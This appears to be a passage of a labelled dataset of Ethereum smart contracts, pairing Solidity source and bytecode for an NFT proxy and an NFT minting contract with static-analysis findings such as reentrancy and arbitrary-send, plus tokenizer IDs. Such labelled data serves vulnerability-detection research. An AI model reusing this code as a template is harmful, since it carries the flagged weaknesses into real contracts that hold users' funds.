40be614044565b5060051b60200190565b6001600160a01b0381168114612ca257600080fd5b600082601f8301126140ee57600080fd5b813560206141036140fe836140a4565b614073565b82815260059290921b8401810191818101908684111561412257600080fd5b8286015b84811015614146578035614139816140c8565b8352918301918301614126565b509695505050505050565b8015158114612ca257600080fd5b6000806040838503121561417257600080fd5b823567ffffffffffffffff81111561418957600080fd5b614195858286016140dd565b92505060208301356141a681614151565b809150509250929050565b600060208083528351808285015260005b818110156141de578581018301518582016040015282016141c2565b818111156141f0576000604083870101525b50601f01601f1916929092016040019392505050565b60006020828403121561421857600080fd5b5035919050565b6000806040838503121561423257600080fd5b823561423d816140c8565b946020939093013593505050565b60006020828403121561425d57600080fd5b8135613a18816140c8565b6000806040838503121561427b57600080fd5b823567ffffffffffffffff8082111561429357600080fd5b61429f868387016140dd565b93506020915081850135818111156142b657600080fd5b85019050601f810186136142c957600080fd5b80356142d76140fe826140a4565b81815260059190911b820183019083810190888311156142f657600080fd5b928401925b82841015614314578335825292840192908401906142fb565b80955050505050509250929050565b60008060006060848603121561433857600080fd5b8335614343816140c8565b92506020840135614353816140c8565b929592945050506040919091013590565b6000806040838503121561437757600080fd5b50508035926020909101359150565b6000806000806080858703121561439c57600080fd5b84356143a781614151565b935060208501356143b781614151565b925060408501356143c781614151565b915060608501356143d781614151565b939692955090935050565b803561ffff811681146143f457600080fd5b919050565b60008060006060848603121561440e57600080fd5b614417846143e2565b9250614425602085016143e2565b9150614433604085016143e2565b90509250925092565b600080600080600060a0868803121561445457600080fd5b505083359560208501359550604085013594606081013594506080013592509050565b6000806040838503121561448a57600080fd5b8235614495816140c8565b915060208301356141a681614151565b6000806000606084860312156144ba57600080fd5b505081359360208301359350604090920135919050565b600080604083850312156144e457600080fd5b6144ed836143e2565b91506144fb602084016143e2565b90509250929050565b60006020828403121561451657600080fd5b8135613a1881614151565b6000806040838503121561453457600080fd5b823561453f816140c8565b915060208301356141a6816140c8565b600081518084526020808501945080840160005b838110156145885781516001600160a01b031687529582019590820190600101614563565b509495945050505050565b6040815260006145a6604083018561454f565b905082151560208301529392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008261461c577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b600181815b8085111561465c578160001904821115614642576146426145b7565b8085161561464f57918102915b93841c9390800290614626565b509250929050565b60008261467357506001610e3a565b8161468057506000610e3a565b816001811461469657600281146146a0576146bc565b6001915050610e3a565b60ff8411156146b1576146b16145b7565b50506001821b610e3a565b5060208310610133831016604e8410600b84101617156146df575081810a610e3a565b6146e98383614621565b80600019048211156146fd576146fd6145b7565b029392505050565b6000613a1860ff841683614664565b600081600019048311821515161561472e5761472e6145b7565b500290565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600060ff821660ff811415614779576147796145b7565b60010192915050565b600082821015614794576147946145b7565b500390565b6000613a188383614664565b60006000198214156147b9576147b96145b7565b5060010190565b6000602082840312156147d257600080fd5b8151613a18816140c8565b600061ffff8083168185168083038211156147fa576147fa6145b7565b01949350505050565b60006020828403121561481557600080fd5b8151613a1881614151565b60008219821115614833576148336145b7565b500190565b828152604060208201526000611091604083018461454f565b6000602080838503121561486457600080fd5b825167ffffffffffffffff81111561487b57600080fd5b8301601f8101851361488c57600080fd5b805161489a6140fe826140a4565b81815260059190911b820183019083810190878311156148b957600080fd5b928401925b82841015614039578351825292840192908401906148be565b85815284602082015260a0604082015260006148f660a083018661454f565b6001600160a01b0394909416606083015250608001529392505050565b60008060006060848603121561492857600080fd5b8351925060208401519150604084015190509250925092565b600061ffff8381169083168181101561495c5761495c6145b7565b03939250505056fea26469706673582212206610d3dcd7ca9d1666975f85253f02febb1d94acca385016d092f400868d263264736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 10322, 23632, 10322, 2620, 2050, 22932, 2546, 2509, 2278, 17465, 28311, 2620, 2497, 2620, 2509, 2278, 2546, 2575, 26337, 2575, 26337, 2497, 2692, 2050, 27531, 2497, 2692, 2063, 2692, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1026, 1014, 1012, 1023, 1012, 1014, 1025, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 19204, 26066, 2015, 1012, 1008, 1013, 3853, 26066, 2015, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,410
0x96bbc55856a7463871c3f65b2c2a7122d6d8c5e3
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Zen Doubt /// @author: manifold.xyz import "./ERC721Creator.sol"; //////////////////////////////////////////////////////////////////////////////////////////// // // // // // ███████████████████████████████████████████████████████████████████████████████ // // ████████████████████████████████████████████████████████████████████████████████ // // ████████████████████████████████████████████████████████████████████████████████ // // ████████████████████████████████████████████████████████████████████████████████ // // ████████████████████████████████████████████████████████████████████████████████ // // ████████████████████████████████████████████████████████████████████████████████ // // ████████████████████████████████████████████████████████████████████████████████ // // ████████████████████████████████████████████████████████████████████████████████ // // ████████████████████████████████████████████████████████████████████████████████ // // ████████████████████████████████████████████████████████████████████████████████ // // ████████████████████████████████████████████████████████████████████████████████ // // ███████████████████████████████████████████████▀░▄██████████████████████████████ // // █████████████████████████████████████████████▀░▄████████████████████████████████ // // ████████████████████████████████████████████▀░▐█████████████████████████████████ // // ██████████████████████████▀░░░░░░░░░██▀▀███▌░▐░░░░░░▀▀▀█████████████████████████ // // ████████████████████████████████▀░░▄█░░░░██░▐░░░▄▄▄▄▄▄░░▀███████████████████████ // // █████████████████████████████▀▀░▄████░░░░░░░█░░▐█████▀░▄████████████████████████ // // ██████████████████████████▀▀░▄███▀▀▀█░░░░░░▐█░░▐██▀░░▄██████████████████████████ // // ███████████████████████▀▀░░░░░░▄▄▄███░░▐█░░▐█░░▐▀░▄█████████████████████████████ // // ████████████████████▀▀░░░▄▄██████████▄▄██▌░▐█░░░▄███████████████████████████████ // // ██████████████████▀░░▄▄████████████████████▀░ ██████████████████████████████████ // // █████████████████████████████████████████▀░▄████████████████████████████████████ // // ███████████████████████████████████████░░▄██████████████████████████████████████ // // ██████████████████████████████████████░█████████████████████████████████████████ // // ████████████████████████████████████████████████████████████████████████████████ // // ████████████████████████████████████████████████████████████████████████████████ // // ████████████████████████████████████████████████████████████████████████████████ // // ████████████████████████████████████████████████████████████████████████████████ // // ████████████████████████████████████████████████████████████████████████████████ // // ████████████████████████████████████████████████████████████████████████████████ // // ████████████████████████████████████████████████████████████████████████████████ // // ████████████████████████████████████████████████████████████████████████████████ // // ████████████████████████████████████████████████████████████████████████████████ // // ████████████████████████████████████████████████████████████████████████████████ // // ████████████████████████████████████████████████████████████████████████████████ // // ████████████████████████████████████████████████████████████████████████████████ // // // // // // // //////////////////////////////////////////////////////////////////////////////////////////// contract ZND is ERC721Creator { constructor() ERC721Creator("Zen Doubt", "ZND") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102c260279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b6060833b6101945760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101af9190610242565b600060405180830381855af49150503d80600081146101ea576040519150601f19603f3d011682016040523d82523d6000602084013e6101ef565b606091505b50915091506101ff828286610209565b9695505050505050565b60608315610218575081610105565b8251156102285782518084602001fd5b8160405162461bcd60e51b815260040161018b919061025e565b60008251610254818460208701610291565b9190910192915050565b602081526000825180602084015261027d816040850160208701610291565b601f01601f19169190910160400192915050565b60005b838110156102ac578181015183820152602001610294565b838111156102bb576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c8457ca072d472be578b30326dfcdecd73e53bf29f74aa3903e3cd5ef8b94b8464736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 10322, 2278, 24087, 27531, 2575, 2050, 2581, 21472, 22025, 2581, 2487, 2278, 2509, 2546, 26187, 2497, 2475, 2278, 2475, 2050, 2581, 12521, 2475, 2094, 2575, 2094, 2620, 2278, 2629, 2063, 2509, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 1013, 1030, 2516, 1024, 16729, 4797, 1013, 1013, 1013, 1030, 3166, 1024, 19726, 1012, 1060, 2100, 2480, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 16748, 8844, 1012, 14017, 1000, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,411
0x96bC1D0BFcf6c574Fb372db37D3A9Aa9D0E11036
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; interface IRevenueContract { function distributeRewards(uint16 sectionId, uint256 _amount) external payable; } contract TimeRiderGenesisComicsCovers is ERC721Enumerable, Ownable { using SafeMath for uint256; /** * Private state */ uint16 private sectionId; uint256 private basePrice = 20000000000000000; //0.02 uint256 private MAX_MINTSUPPLY = 1998; uint256 private reserveAtATime = 25; uint256 private reservedCount = 0; uint256 private maxReserveCount = 100; address private associateAddress = 0xAa0D34B3Ac6420B769DDe4783bB1a95F157ddDF5; address private secondAssociateAddress = 0x2fea18841E5846f1A827DC3d986F76B6773bdf45; address private creatorAddress = 0x379a669CF423448fB8F0B35A22BACd18c722d8a7; string _baseTokenURI; IRevenueContract revenueContract; address payable revenueContractAddress; mapping(address => uint256) private withdrawalBalances; /** * Public state */ uint256 public maximumAllowedTokensPerPurchase = 25; bool public isActive = false; /** * Modifiers */ modifier saleIsOpen() { require(totalSupply() <= MAX_MINTSUPPLY, "Sale has ended."); _; } modifier onlyAuthorized() { require( associateAddress == msg.sender || owner() == msg.sender || creatorAddress == msg.sender || secondAssociateAddress == msg.sender); _; } /** * Constructor */ constructor(string memory baseURI, address _revenueContract, uint16 _sectionId) ERC721("Genesis Comics Time Rider Limited Covers", "TRC") { require(isContract(_revenueContract)); setBaseURI(baseURI); revenueContract = IRevenueContract(_revenueContract); revenueContractAddress = payable(_revenueContract); sectionId = _sectionId; } /** * Public functions */ function setBaseURI(string memory baseURI) public onlyAuthorized { _baseTokenURI = baseURI; } function setReserveAtATime(uint256 val) public onlyAuthorized { reserveAtATime = val; } function setMaxReserve(uint256 val) public onlyAuthorized { maxReserveCount = val; } function setPrice(uint256 _price) public onlyAuthorized { basePrice = _price; } function setActive(bool val) public onlyAuthorized { isActive = val; } function reserveNft() public onlyAuthorized { require(reservedCount <= maxReserveCount, "Maximum reserves exceeded."); uint256 supply = totalSupply(); uint256 i; for (i = 0; i < reserveAtATime; i++) { _safeMint(msg.sender, supply + i); reservedCount++; } } function setRevenueContract(address _revenueContract) public onlyAuthorized { require(isContract(_revenueContract), "Revenue contract must be a valid contract address."); revenueContract = IRevenueContract(_revenueContract); revenueContractAddress = payable(_revenueContract); } /** * Payables */ function mint(address _to, uint256 _count) public payable saleIsOpen { if (msg.sender != owner()) { require(isActive, "Sale is not active currently."); } require( totalSupply() + _count <= MAX_MINTSUPPLY, "Total supply exceeded." ); require(totalSupply() <= MAX_MINTSUPPLY, "Total supply spent."); require( _count <= maximumAllowedTokensPerPurchase, "Exceeds maximum allowed tokens" ); require(msg.value >= basePrice * _count, "Insuffient ETH amount sent."); for (uint256 i = 0; i < _count; i++) { _safeMint(_to, totalSupply()); } distributeRewards(_count); } function selfWithdraw(uint256 amount) external onlyAuthorized { uint256 currentBalance = address(this).balance; require(currentBalance >= amount); require(withdrawalBalances[msg.sender] >= amount); payable(msg.sender).transfer(amount); withdrawalBalances[msg.sender] -= amount; } function withdrawAll() external onlyAuthorized { payable(associateAddress).transfer(withdrawalBalances[associateAddress]); payable(secondAssociateAddress).transfer(withdrawalBalances[secondAssociateAddress]); uint256 distributedEarnings = distributeEarnings(); withdrawalBalances[creatorAddress] -= distributedEarnings; payable(creatorAddress).transfer(withdrawalBalances[creatorAddress]); resetRewards(); } function withdrawalFallback() public onlyOwner { require(!isActive, "Invalid use of the OH SHIT button!"); payable(creatorAddress).transfer(address(this).balance); resetRewards(); } /** * Private functions */ function distributeRewards(uint256 _count) private { uint256 totalEarning = _count * basePrice; uint256 associateEarning = totalEarning * 1250 / 10000; uint256 secondAssociateEarning = totalEarning * 1250 / 10000; withdrawalBalances[associateAddress] += associateEarning; withdrawalBalances[secondAssociateAddress] += secondAssociateEarning; withdrawalBalances[creatorAddress] += totalEarning - associateEarning - secondAssociateEarning; } function distributeEarnings() private returns (uint256) { uint256 creatorBalance = withdrawBalanceOf(creatorAddress); uint256 ipHolderEarnings = creatorBalance.div(3); revenueContractAddress.transfer(ipHolderEarnings); revenueContract.distributeRewards(sectionId, ipHolderEarnings); return ipHolderEarnings; } function resetRewards() private { withdrawalBalances[associateAddress] = 0; withdrawalBalances[secondAssociateAddress] = 0; withdrawalBalances[creatorAddress] = 0; } /** * Views */ function walletOfOwner(address _owner) external view returns (uint256[] memory) { uint256 tokenCount = balanceOf(_owner); uint256[] memory tokensId = new uint256[](tokenCount); for (uint256 i = 0; i < tokenCount; i++) { tokensId[i] = tokenOfOwnerByIndex(_owner, i); } return tokensId; } function getMaximumAllowedTokens() public view onlyAuthorized returns (uint256) { return maximumAllowedTokensPerPurchase; } function getPrice() external view returns (uint256) { return basePrice; } function getReserveAtATime() external view returns (uint256) { return reserveAtATime; } function getMaxMintSupply() external view returns (uint256) { return MAX_MINTSUPPLY; } function getTotalSupply() external view returns (uint256) { return totalSupply(); } function getContractOwner() public view returns (address) { return owner(); } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } function withdrawBalanceOf(address assosciate) public view returns (uint256) { require(assosciate != address(0), "Valid user address is required."); return withdrawalBalances[assosciate]; } function isContract(address _addr) internal view returns (bool) { uint32 size; assembly { size := extcodesize(_addr) } return (size > 0); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - 